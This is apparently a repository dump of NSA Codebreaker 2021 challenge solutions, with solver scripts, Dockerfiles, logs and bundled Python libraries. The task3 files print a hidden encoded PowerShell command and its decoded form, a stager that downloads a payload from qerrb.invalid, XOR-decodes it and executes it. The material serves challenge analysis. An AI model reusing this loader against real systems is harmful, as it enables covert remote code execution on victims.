/task10/home/lpuser/.cache/pip/http/5/e/9/d/e/5e9dea232305798ba88ba37616a378f93aa4d3746e17ee9d115397bf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/5/e/9/d/e/5e9dea232305798ba88ba37616a378f93aa4d3746e17ee9d115397bf -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/6/7/e/e/5/67ee56e64ccb3c248b7ab6c21fd8ea1e7abf5977212b2b98d4fbfbd0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/6/7/e/e/5/67ee56e64ccb3c248b7ab6c21fd8ea1e7abf5977212b2b98d4fbfbd0 -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/9/d/f/6/7/9df6795617dfdd99fd10c30ab346f8577639c010b07ffb6f876047fd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/9/d/f/6/7/9df6795617dfdd99fd10c30ab346f8577639c010b07ffb6f876047fd -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/b/9/2/d/5/b92d5efeb2406de109c0263ebfbbe56d85532219b7d0aae49a57069a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/b/9/2/d/5/b92d5efeb2406de109c0263ebfbbe56d85532219b7d0aae49a57069a -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/c/0/4/0/0/c0400f4849a16bb7ec1db13ba6d964327b0869995ab53c54f6668654: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/c/0/4/0/0/c0400f4849a16bb7ec1db13ba6d964327b0869995ab53c54f6668654 -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/e/f/e/f/5/efef5e213b490f3ff7a2a47002a0e0679b63622eadc45614c51cdafa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/e/f/e/f/5/efef5e213b490f3ff7a2a47002a0e0679b63622eadc45614c51cdafa -------------------------------------------------------------------------------- /task10/home/lpuser/.cache/pip/http/f/2/b/7/8/f2b78c3992a605224c8bfc40b141f93bc877bfb81af03ca156b6e690: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luker983/nsa-codebreaker-2021/HEAD/task10/home/lpuser/.cache/pip/http/f/2/b/7/8/f2b78c3992a605224c8bfc40b141f93bc877bfb81af03ca156b6e690 -------------------------------------------------------------------------------- /task6/pub.hex: -------------------------------------------------------------------------------- 1 | 0x00007f43678f69b4 33 29 c2 11 bf 13 0e 91 92 ac 27 e3 b9 d3 2e 80 3)........'..... 2 | 0x00007f43678f69c4 62 aa 83 76 6f 4d 07 2e da bc 54 08 6a 57 4b 73 b..voM....T.jWKs 3 | 4 | 3329c211bf130e9192ac27e3b9d32e8062aa83766f4d072edabc54086a574b73 5 | -------------------------------------------------------------------------------- /task10/home/lpuser/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi 8 | -------------------------------------------------------------------------------- /task10/home/psuser/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi 8 | -------------------------------------------------------------------------------- /task2/interesting_proxy.log: -------------------------------------------------------------------------------- 1 | 2021-03-16 08:27:51 37 10.19.212.179 200 TCP_MISS 12734 479 GET http qerrb.invalid movement - - DIRECT 10.4.83.154 application/octet-stream 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)' PROXIED none - 10.19.212.239 SG-HTTP-Service - none - 2 | -------------------------------------------------------------------------------- /task6/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM panic-nightly-test:latest 2 | 3 | # install git, gdb, and curl 4 | RUN apk add git gdb curl 5 | # install gef 6 | RUN bash -c "$(curl -fsSL http://gef.blah.cat/sh)" 7 | 8 | # trigger network calls 9 | RUN git clone https://github.com/hugsy/gef repo 10 | 11 | CMD ["gdb", "make"] 12 | -------------------------------------------------------------------------------- /task3/decoded_powershell.ps1: -------------------------------------------------------------------------------- 1 | $bytes = (New-Object Net.WebClient).DownloadData('http://qerrb.invalid/movement') 2 | 3 | $prev = [byte] 104 4 | 5 | $dec = $(for ($i = 0; $i -lt $bytes.length; $i++) { 6 | $prev = $bytes[$i] -bxor $prev 7 | $prev 8 | }) 9 | 10 | iex([System.Text.Encoding]::UTF8.GetString($dec)) 11 | -------------------------------------------------------------------------------- /task10/home/lpuser/lp/runLp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | echo "LP Loop -- Start" 5 | sleep 30 6 | 7 | cd /home/lpuser/lp/ 8 | while [ 1 ] 9 | do 10 | if [ -f "/tmp/stop_lp" ]; then 11 | echo "LP -- Break" 12 | break 13 | fi 14 | echo "LP -- Start" 15 | python3 lp.py 16 | sleep 10 17 | done 18 | 19 | echo "LP Loop -- Exit" 20 | 21 | -------------------------------------------------------------------------------- /task10/home/psuser/runPs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Powershell LP Loop -- Start" 4 | sleep 30 5 | cd /home/psuser/ 6 | while [ 1 ] 7 | do 8 | if [ -f "/tmp/stop_ps" ]; then 9 | echo "Powershell LP -- Break" 10 | break 11 | fi 12 | echo "Powershell LP -- Start" 13 | ./powershell_lp 14 | sleep 10 15 | done 16 | 17 | echo "Powershell LP Loop -- Exit" 18 | 19 | -------------------------------------------------------------------------------- /task10/Dockerfile: -------------------------------------------------------------------------------- 1 | from panic-nightly-test:latest 2 | 3 | COPY powershell_lp_dbg powershell_lp_dbg 4 | COPY powershell_lp powershell_lp 5 | 6 | RUN apk add git gdb curl 7 | 8 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh 9 | RUN echo "set follow-fork-mode child" >> ~/.gdbinit 10 | RUN echo "set detach-on-fork off" >> ~/.gdbinit 11 | 12 | CMD ["gdb", "powershell_lp_dbg"] 13 | -------------------------------------------------------------------------------- /task7/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM panic-nightly-test:latest 2 | 3 | # install git, gdb, and curl 4 | RUN apk add git gdb curl 5 | # install gef 6 | RUN bash -c "$(curl -fsSL http://gef.blah.cat/sh)" 7 | 8 | # trigger network calls 9 | RUN git clone https://github.com/hugsy/gef repo 10 | 11 | # use patched binary to bypass network functionality 12 | COPY patched_make /usr/bin/make 13 | 14 | CMD ["gdb", "make"] 15 | -------------------------------------------------------------------------------- /task1/ip_extractor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # adapted from https://gist.github.com/WJDigby/107f9330ad120ba4044c69e951cc953a 3 | 4 | tcpdump -r provided/capture.pcap 'ip' -n | # get IP data from pcap 5 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' -o | # filter out everything except the addresses 6 | sort -u # remove duplicates 7 | -------------------------------------------------------------------------------- /task8/go.mod: -------------------------------------------------------------------------------- 1 | module task8 2 | 3 | go 1.17 4 | 5 | require golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97 6 | 7 | require ( 8 | github.com/briandowns/spinner v1.16.0 // indirect 9 | github.com/fatih/color v1.7.0 // indirect 10 | github.com/mattn/go-colorable v0.1.2 // indirect 11 | github.com/mattn/go-isatty v0.0.8 // indirect 12 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /task10/home/lpuser/.ssh/id_rsa.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd3yPOtZCKgytYrUnC+ldOBL+BjvEIXkAOPwRr4WZJW0/NO7K3P9ZGO7GS2NU404MV91y8zjYV04Rzie+RsrP5YZEOZv4kkJffSxrExAe8vrxLB0tSkD9TugWFNviiWDd3E6knh+ymoLv97sn+uH9UsN00g3QNpZz3c24/Jq2C+gPbrT9mMdoSSK2U7hJ3nUzsoFhNBZlaR4MBB2n02d7oRYLGwSur3taqf4nKeY7NOJGC+952LzygC19Erjj5/ncFy33xnMobTsIGTKQXdfEfUn0xvCE2Eoz0MY7EKjd41muJ7U30089Xpo9nckX/VKGqEitibDOKEU9gTFgJ+MH/ root@ip-10-115-54-51 2 | -------------------------------------------------------------------------------- /task10/home/psuser/.ssh/id_rsa.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQy1N84MECiGM/MMmyYECRcWPoZZggLOzx3VcFr/xiY35yq+4scff/aJ+zWftYe7NtnTdxAr3oSZCxUFr3WpC3XYQXJmIy3W7m/XQ04FjUbq2NDZcxDAU4g2LkrLnHyX9mV/7pgf8TpKf/9BfSZlYgCMBPVV5tXKFR9dPgfDFmKnqJroebuvXOHYRYao2sYKJhR6v/BoJ1GaUiIMbqSrvS4fHptsNalmwJQ5pGxF2Z2M8gbpiAQnR3FWb+qtpTC4xBq1WMBE2gCfao/folNVO4agY/Q4fC6mwBXTDt6syV2ZNgR7SCS2+WpslNQyWkXxv7Duyu/eCrJWZQEhqPNzAL root@ip-10-115-54-51 2 | -------------------------------------------------------------------------------- /task10/home/lpuser/.ssh/authorized_keys: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd3yPOtZCKgytYrUnC+ldOBL+BjvEIXkAOPwRr4WZJW0/NO7K3P9ZGO7GS2NU404MV91y8zjYV04Rzie+RsrP5YZEOZv4kkJffSxrExAe8vrxLB0tSkD9TugWFNviiWDd3E6knh+ymoLv97sn+uH9UsN00g3QNpZz3c24/Jq2C+gPbrT9mMdoSSK2U7hJ3nUzsoFhNBZlaR4MBB2n02d7oRYLGwSur3taqf4nKeY7NOJGC+952LzygC19Erjj5/ncFy33xnMobTsIGTKQXdfEfUn0xvCE2Eoz0MY7EKjd41muJ7U30089Xpo9nckX/VKGqEitibDOKEU9gTFgJ+MH/ root@ip-10-115-54-51 2 | -------------------------------------------------------------------------------- /task1/provided/ip_ranges.txt: -------------------------------------------------------------------------------- 1 | 172.25.90.32/27 2 | 10.126.8.0/21 3 | 10.22.115.232/29 4 | 198.18.218.160/28 5 | 192.168.121.56/29 6 | 10.83.176.0/21 7 | 172.25.64.208/29 8 | 192.168.5.64/27 9 | 172.27.72.0/21 10 | 10.176.152.0/22 11 | 198.18.177.0/24 12 | 10.22.97.240/28 13 | 10.18.40.0/22 14 | 192.168.88.80/28 15 | 10.22.113.96/27 16 | 10.232.88.0/22 17 | 10.45.0.0/16 18 | 192.168.1.48/28 19 | 172.17.240.0/21 20 | 10.19.73.128/25 21 | 192.168.8.176/29 -------------------------------------------------------------------------------- /task10/home/lpuser/lp/commands.py: -------------------------------------------------------------------------------- 1 | COMMAND_TYPES = [ 'register', 2 | 'init', 3 | 'tasking_dir', 4 | 'dir_list', 5 | 'file_download', 6 | 'file_upload', 7 | 'fin' 8 | ] 9 | class CommandKey(): 10 | def __init__(self): 11 | self.key = dict() 12 | for idx,cmd in enumerate(COMMAND_TYPES): 13 | self.key[cmd] = idx + 1 14 | 15 | -------------------------------------------------------------------------------- /task10/home/psuser/pslp.log: -------------------------------------------------------------------------------- 1 | Powershell LP Loop -- Start 2 | Powershell LP -- Start 3 | Server started port 8080 4 | Server started port 8080 5 | Server started port 8080 6 | Server started port 8080 7 | Server started port 8080 8 | Server started port 8080 9 | Server started port 8080 10 | Server started port 8080 11 | Server started port 8080 12 | Server started port 8080 13 | Server started port 8080 14 | Server started port 8080 15 | Server started port 8080 16 | -------------------------------------------------------------------------------- /task1/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ipaddress 4 | 5 | # read in allowed ip ranges 6 | with open('provided/ip_ranges.txt', 'r') as f: 7 | ranges = f.readlines() 8 | 9 | # read in ips from ip_extractor.sh 10 | with open('ips.txt', 'r') as f: 11 | ips = f.readlines() 12 | 13 | # convert to ip range and address types 14 | ranges = [ipaddress.ip_network(r.strip()) for r in ranges] 15 | ips = [ipaddress.ip_address(i.strip()) for i in ips] 16 | 17 | # check if each ip is in any of the ranges 18 | for i in ips: 19 | for r in ranges: 20 | if i in r: 21 | print(i) 22 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['FFI', 'VerificationError', 'VerificationMissing', 'CDefError', 2 | 'FFIError'] 3 | 4 | from .api import FFI 5 | from .error import CDefError, FFIError, VerificationError, VerificationMissing 6 | from .error import PkgConfigError 7 | 8 | __version__ = "1.14.5" 9 | __version_info__ = (1, 14, 5) 10 | 11 | # The verifier module file names are based on the CRC32 of a string that 12 | # contains the following version number. It may be older than __version__ 13 | # if nothing is clearly incompatible. 14 | __version_verifier_modules__ = "0.8.6" 15 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/six-1.16.0.dist-info/RECORD: -------------------------------------------------------------------------------- 1 | six.py,sha256=TOOfQi7nFGfMrIvtdr6wX4wyHH8M7aknmuLfo2cBBrM,34549 2 | six-1.16.0.dist-info/LICENSE,sha256=i7hQxWWqOJ_cFvOkaWWtI9gq3_YPI5P8J2K2MYXo5sk,1066 3 | six-1.16.0.dist-info/METADATA,sha256=VQcGIFCAEmfZcl77E5riPCN4v2TIsc_qtacnjxKHJoI,1795 4 | six-1.16.0.dist-info/WHEEL,sha256=Z-nyYpwrcSqxfdux5Mbn_DQ525iP7J2DG3JgGvOYyTQ,110 5 | six-1.16.0.dist-info/top_level.txt,sha256=_iVH_iYEtEXnD8nYGQYpYFUvkUW9sEO1GYbkeKSAais,4 6 | six-1.16.0.dist-info/RECORD,, 7 | six-1.16.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 8 | __pycache__/six.cpython-36.pyc,, 9 | -------------------------------------------------------------------------------- /task3/FOOT_Installation.pdf: -------------------------------------------------------------------------------- 1 | powershell -nop -noni -w Hidden -enc JABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAOgAvAC8AcQBlAHIAcgBiAC4AaQBuAHYAYQBsAGkAZAAvAG0AbwB2AGUAbQBlAG4AdAAnACkACgAKACQAcAByAGUAdgAgAD0AIABbAGIAeQB0AGUAXQAgADEAMAA0AAoACgAkAGQAZQBjACAAPQAgACQAKABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAHMALgBsAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAKACAAIAAgACAAJABwAHIAZQB2ACAAPQAgACQAYgB5AHQAZQBzAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAHAAcgBlAHYACgAgACAAIAAgACQAcAByAGUAdgAKAH0AKQAKAAoAaQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjACkAKQAKAA== -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/lock.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | if sys.version_info < (3,): 4 | try: 5 | from thread import allocate_lock 6 | except ImportError: 7 | from dummy_thread import allocate_lock 8 | else: 9 | try: 10 | from _thread import allocate_lock 11 | except ImportError: 12 | from _dummy_thread import allocate_lock 13 | 14 | 15 | ##import sys 16 | ##l1 = allocate_lock 17 | 18 | ##class allocate_lock(object): 19 | ## def __init__(self): 20 | ## self._real = l1() 21 | ## def __enter__(self): 22 | ## for i in range(4, 0, -1): 23 | ## print sys._getframe(i).f_code 24 | ## print 25 | ## return self._real.__enter__() 26 | ## def __exit__(self, *args): 27 | ## return self._real.__exit__(*args) 28 | ## def acquire(self, f): 29 | ## assert f is False 30 | ## return self._real.acquire(f) 31 | -------------------------------------------------------------------------------- /task10/home/lpuser/.profile: -------------------------------------------------------------------------------- 1 | # ~/.profile: executed by the command interpreter for login shells. 2 | # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login 3 | # exists. 4 | # see /usr/share/doc/bash/examples/startup-files for examples. 5 | # the files are located in the bash-doc package. 6 | 7 | # the default umask is set in /etc/profile; for setting the umask 8 | # for ssh logins, install and configure the libpam-umask package. 9 | #umask 022 10 | 11 | # if running bash 12 | if [ -n "$BASH_VERSION" ]; then 13 | # include .bashrc if it exists 14 | if [ -f "$HOME/.bashrc" ]; then 15 | . "$HOME/.bashrc" 16 | fi 17 | fi 18 | 19 | # set PATH so it includes user's private bin if it exists 20 | if [ -d "$HOME/bin" ] ; then 21 | PATH="$HOME/bin:$PATH" 22 | fi 23 | 24 | # set PATH so it includes user's private bin if it exists 25 | if [ -d "$HOME/.local/bin" ] ; then 26 | PATH="$HOME/.local/bin:$PATH" 27 | fi 28 | -------------------------------------------------------------------------------- /task10/home/psuser/.profile: -------------------------------------------------------------------------------- 1 | # ~/.profile: executed by the command interpreter for login shells. 2 | # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login 3 | # exists. 4 | # see /usr/share/doc/bash/examples/startup-files for examples. 5 | # the files are located in the bash-doc package. 6 | 7 | # the default umask is set in /etc/profile; for setting the umask 8 | # for ssh logins, install and configure the libpam-umask package. 9 | #umask 022 10 | 11 | # if running bash 12 | if [ -n "$BASH_VERSION" ]; then 13 | # include .bashrc if it exists 14 | if [ -f "$HOME/.bashrc" ]; then 15 | . "$HOME/.bashrc" 16 | fi 17 | fi 18 | 19 | # set PATH so it includes user's private bin if it exists 20 | if [ -d "$HOME/bin" ] ; then 21 | PATH="$HOME/bin:$PATH" 22 | fi 23 | 24 | # set PATH so it includes user's private bin if it exists 25 | if [ -d "$HOME/.local/bin" ] ; then 26 | PATH="$HOME/.local/bin:$PATH" 27 | fi 28 | -------------------------------------------------------------------------------- /task9/sessions/root: -------------------------------------------------------------------------------- 1 | 20d2a187ac369b6b4392360b97964a8c556830238976b988a8cb35b21d6c7618 2 | 7d6f8318609692052338cca775d1be756f7dea94df002bc438420f915e29a90aa409697a4ea145a269619a5d5d014c844871ebda5d8b80be0f2aca07cdad2dee5caf6c8bc83b50a66364cf29b14e8a219a85975342ef8c463a91f11219ddb0bd0d2004df12234749496cd890a5186d7c699ceadecf019905431fef999c3254a8ab1dd7ed5dd2141878eacf 3 | 30ebcf5f20a6d7d06d31c233560d18f13330be17ff8e896c5d61fde2644345cc997c9c627494423b042d545bf6f102a7f10f9b5856c83f49553d1a9cd0661c0d56b435459b046e571f488321f56c 4 | 876078d815b0c35218c6d169b9c1ede288e8d7733f14d6ec846e88dd2935216240f657ec31ed6aad256aa76e74a12f925f03dd58917a780677d9cebf 5 | b6bc49adcd119973a8484e4847b2d599e3c5316be533d21645e0786e9ac1335ff4ae13518a0a0b3f7a8ddda74839d8dd4b21f3407881288e6c49e70d9bbbf213c433020027bf1c710be19daaf1e9112339cb5502e90da4fff4cc9c75fcfc3d0c59cb0919c6cb67996b68a6f53e 6 | 69a396950cf4a59deed4012b8e66bfa5e6e35b31ab4ee3b0616312fe78ebc60987a29864ad4245a23429f05d06fa1fe01036d5d148d2bff03bf59d02 7 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/error.py: -------------------------------------------------------------------------------- 1 | 2 | class FFIError(Exception): 3 | __module__ = 'cffi' 4 | 5 | class CDefError(Exception): 6 | __module__ = 'cffi' 7 | def __str__(self): 8 | try: 9 | current_decl = self.args[1] 10 | filename = current_decl.coord.file 11 | linenum = current_decl.coord.line 12 | prefix = '%s:%d: ' % (filename, linenum) 13 | except (AttributeError, TypeError, IndexError): 14 | prefix = '' 15 | return '%s%s' % (prefix, self.args[0]) 16 | 17 | class VerificationError(Exception): 18 | """ An error raised when verification fails 19 | """ 20 | __module__ = 'cffi' 21 | 22 | class VerificationMissing(Exception): 23 | """ An error raised when incomplete structures are passed into 24 | cdef, but no verification has been done 25 | """ 26 | __module__ = 'cffi' 27 | 28 | class PkgConfigError(Exception): 29 | """ An error raised for missing modules in pkg-config 30 | """ 31 | __module__ = 'cffi' 32 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser-2.20.dist-info/METADATA: -------------------------------------------------------------------------------- 1 | Metadata-Version: 2.1 2 | Name: pycparser 3 | Version: 2.20 4 | Summary: C parser in Python 5 | Home-page: https://github.com/eliben/pycparser 6 | Author: Eli Bendersky 7 | Author-email: eliben@gmail.com 8 | Maintainer: Eli Bendersky 9 | License: BSD 10 | Platform: Cross Platform 11 | Classifier: Development Status :: 5 - Production/Stable 12 | Classifier: License :: OSI Approved :: BSD License 13 | Classifier: Programming Language :: Python :: 2 14 | Classifier: Programming Language :: Python :: 2.7 15 | Classifier: Programming Language :: Python :: 3 16 | Classifier: Programming Language :: Python :: 3.4 17 | Classifier: Programming Language :: Python :: 3.5 18 | Classifier: Programming Language :: Python :: 3.6 19 | Requires-Python: >=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.* 20 | 21 | 22 | pycparser is a complete parser of the C language, written in 23 | pure Python using the PLY parsing library. 24 | It parses C code into an AST and can serve as a front-end for 25 | C compilers or analysis tools. 26 | 27 | 28 | -------------------------------------------------------------------------------- /task8/sanity_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import nacl.secret 4 | import hashlib 5 | 6 | # message from GDB session 7 | message = bytes.fromhex('9bed645da57427a83685b817151690b55082e15d10c6c3d4ff9c0f96d1fbd991142b183a0f8f952741d8681d2eb9a3c4052a9d539f4d40870f8b1859bc06e0f61d9f3cef155238abe91eaca4aed2') 8 | 9 | # make key by hashing username, version, timestamp 10 | def keygen(username, version, timestamp): 11 | keystring = f'{username}+{version}+{str(timestamp)}' 12 | 13 | h = hashlib.sha256() 14 | h.update(f'{username}+{version}+{str(timestamp)}'.encode()) 15 | 16 | return h.digest() 17 | 18 | # make key from known username, shortened version, and timestamp 19 | key = keygen("unknown", "1.2.2.0", 1630594378) 20 | 21 | # parse message 22 | header = message[:4] 23 | nonce = message[4:28] 24 | ciphertext = message[28:] 25 | 26 | # make box from key 27 | box = nacl.secret.SecretBox(key) 28 | 29 | # try to decrypt 30 | try: 31 | plaintext = box.decrypt(nonce + ciphertext) 32 | print("SUCCESS:", plaintext) 33 | except Exception as e: 34 | print("FAILURE:", e) 35 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/six-1.16.0.dist-info/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2010-2020 Benjamin Peterson 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | the Software, and to permit persons to whom the Software is furnished to do so, 8 | subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/_build_tables.py: -------------------------------------------------------------------------------- 1 | #----------------------------------------------------------------- 2 | # pycparser: _build_tables.py 3 | # 4 | # A dummy for generating the lexing/parsing tables and and 5 | # compiling them into .pyc for faster execution in optimized mode. 6 | # Also generates AST code from the configuration file. 7 | # Should be called from the pycparser directory. 8 | # 9 | # Eli Bendersky [https://eli.thegreenplace.net/] 10 | # License: BSD 11 | #----------------------------------------------------------------- 12 | 13 | # Insert '.' and '..' as first entries to the search path for modules. 14 | # Restricted environments like embeddable python do not include the 15 | # current working directory on startup. 16 | import sys 17 | sys.path[0:0] = ['.', '..'] 18 | 19 | # Generate c_ast.py 20 | from _ast_gen import ASTCodeGenerator 21 | ast_gen = ASTCodeGenerator('_c_ast.cfg') 22 | ast_gen.generate(open('c_ast.py', 'w')) 23 | 24 | from pycparser import c_parser 25 | 26 | # Generates the tables 27 | # 28 | c_parser.CParser( 29 | lex_optimize=True, 30 | yacc_debug=False, 31 | yacc_optimize=True) 32 | 33 | # Load to compile into .pyc 34 | # 35 | import lextab 36 | import yacctab 37 | import c_ast 38 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/bindings/sodium_core.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | from __future__ import absolute_import, division, print_function 15 | 16 | from nacl import exceptions as exc 17 | from nacl._sodium import ffi, lib 18 | from nacl.exceptions import ensure 19 | 20 | 21 | def _sodium_init(): 22 | ensure(lib.sodium_init() != -1, 23 | "Could not initialize sodium", 24 | raising=exc.RuntimeError) 25 | 26 | 27 | def sodium_init(): 28 | """ 29 | Initializes sodium, picking the best implementations available for this 30 | machine. 31 | """ 32 | ffi.init_once(_sodium_init, "libsodium") 33 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | __all__ = [ 18 | "__title__", "__summary__", "__uri__", "__version__", "__author__", 19 | "__email__", "__license__", "__copyright__", 20 | ] 21 | 22 | __title__ = "PyNaCl" 23 | __summary__ = ("Python binding to the Networking and Cryptography (NaCl) " 24 | "library") 25 | __uri__ = "https://github.com/pyca/pynacl/" 26 | 27 | __version__ = "1.4.0" 28 | 29 | __author__ = "The PyNaCl developers" 30 | __email__ = "cryptography-dev@python.org" 31 | 32 | __license__ = "Apache License 2.0" 33 | __copyright__ = "Copyright 2013-2018 {0}".format(__author__) 34 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/METADATA: -------------------------------------------------------------------------------- 1 | Metadata-Version: 2.1 2 | Name: cffi 3 | Version: 1.14.5 4 | Summary: Foreign Function Interface for Python calling C code. 5 | Home-page: http://cffi.readthedocs.org 6 | Author: Armin Rigo, Maciej Fijalkowski 7 | Author-email: python-cffi@googlegroups.com 8 | License: MIT 9 | Platform: UNKNOWN 10 | Classifier: Programming Language :: Python 11 | Classifier: Programming Language :: Python :: 2 12 | Classifier: Programming Language :: Python :: 2.6 13 | Classifier: Programming Language :: Python :: 2.7 14 | Classifier: Programming Language :: Python :: 3 15 | Classifier: Programming Language :: Python :: 3.2 16 | Classifier: Programming Language :: Python :: 3.3 17 | Classifier: Programming Language :: Python :: 3.4 18 | Classifier: Programming Language :: Python :: 3.5 19 | Classifier: Programming Language :: Python :: 3.6 20 | Classifier: Programming Language :: Python :: Implementation :: CPython 21 | Classifier: Programming Language :: Python :: Implementation :: PyPy 22 | Classifier: License :: OSI Approved :: MIT License 23 | Requires-Dist: pycparser 24 | 25 | 26 | CFFI 27 | ==== 28 | 29 | Foreign Function Interface for Python calling C code. 30 | Please see the `Documentation `_. 31 | 32 | Contact 33 | ------- 34 | 35 | `Mailing list `_ 36 | 37 | 38 | -------------------------------------------------------------------------------- 